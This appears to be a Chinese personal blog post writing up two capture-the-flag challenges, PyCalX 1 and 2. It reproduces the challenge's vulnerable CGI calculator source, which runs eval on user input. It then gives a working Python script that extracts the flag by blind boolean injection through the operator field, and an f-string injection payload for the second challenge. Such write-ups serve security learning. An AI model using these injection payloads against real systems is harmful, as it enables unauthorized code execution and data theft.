眨眼间博客又好几天没写了..在家的日子真快
写两道好题8
PyCalX 1
题目就给了源码
#!/usr/bin/env python3
import cgi;
import sys
from html import escape
FLAG = open('/var/www/flag','r').read()
OK_200 = """Content-type: text/html
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<center>
<title>PyCalx</title>
<h1>PyCalx</h1>
<form>
<input class="form-control col-md-4" type=text name=value1 placeholder='Value 1 (Example: 1 abc)' autofocus/>
<input class="form-control col-md-4" type=text name=op placeholder='Operator (Example: + - * ** / // == != )' />
<input class="form-control col-md-4" type=text name=value2 placeholder='Value 2 (Example: 1 abc)' />
<input class="form-control col-md-4 btn btn-success" type=submit value=EVAL />
</form>
<a href='?source=1'>Source</a>
</center>
"""
print(OK_200)
arguments = cgi.FieldStorage()
if 'source' in arguments:
source = arguments['source'].value
else:
source = 0
if source == '1':
print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')
if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:
def get_value(val):
val = str(val)[:64]
if str(val).isdigit(): return int(val)
blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
if val == '' or [c for c in blacklist if c in val] != []:
print('<center>Invalid value</center>')
sys.exit(0)
return val
def get_op(val):
val = str(val)[:2]
list_ops = ['+','-','/','*','=','!']
if val == '' or val[0] not in list_ops:
print('<center>Invalid op</center>')
sys.exit(0)
return val
op = get_op(arguments['op'].value)
value1 = get_value(arguments['value1'].value)
value2 = get_value(arguments['value2'].value)
if str(value1).isdigit() ^ str(value2).isdigit():
print('<center>Types of the values don\'t match</center>')
sys.exit(0)
calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')
print('>>>> rint('+escape(calc_eval)+')')
try:
result = str(eval(calc_eval)) #
if result.isdigit() or result == 'True' or result == 'False':
print(result)
else:
print("Invalid") # Sorry we don't support output as a string due to security issue.
except:
print("Invalid")
print('>>> </pre></div></div></div>')
讲道理虽然没学过cgi库但是猜也能猜出来什么意思了
get_value函数的过滤是没有可能绕过的
get_op那里特意给了两个字符而且只限制第一个字符就很让人怀疑
repr函数在处理字符串的时候会自己给加上引号
看出区别了8
自己脑力拼接一下就是eval("'a1'+'a2'")
再结合一下符号的参数有一个可控字符
给它加一个单引号 那么它必定逃逸 再注释一下后面的单引号 成了
(然后怎么利用卡了半个小时
这题返回只能数字和布尔值 主要是参数里能用的字符太少了..想不出来怎么出flag变量
看了下wp惊呆了
有一段被我自动无视的代码
if 'source' in arguments:
source = arguments['source'].value
else:
source = 0
if source == '1':
print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')
这个source是可控的 也就是说可以控制source 然后用source in FLAG的形式盲注
exp:
import requests
def req(ch):
url='http://c12017d9-8d74-4405-a452-32f3e298dbb2.node3.buuoj.cn/cgi-bin/pycalx.py'
data={
'value1':'True',
'op':'+\'',
'value2':'and source in FLAG#',
'source':ch
}
a=requests.get(url,params=data)
if a.status_code!=200:
return req(ch)
if 'False' in a.text:
return ''
if 'True' in a.text:
return ch
flag='flag'
while True:
for i in range(40,127):
tmp=flag+chr(i)
# print(tmp)
a=req(tmp)
if a!='':
flag=tmp
break
print(flag)
还有个2明天再看..
Pycalx2
之前去公益赛摸鱼了 没来得及写 现在回来填坑
懒得再开胡环境了
这题用f-string
python3.6开始新加入的特性
支持f'{}'在大括号中加入表达式
这样只要给那个可控的字符放一个f 就可以在value2中rce
f'{source*0 if source in FLAG else 233}'
这个if else也算是python特色了
0 条评论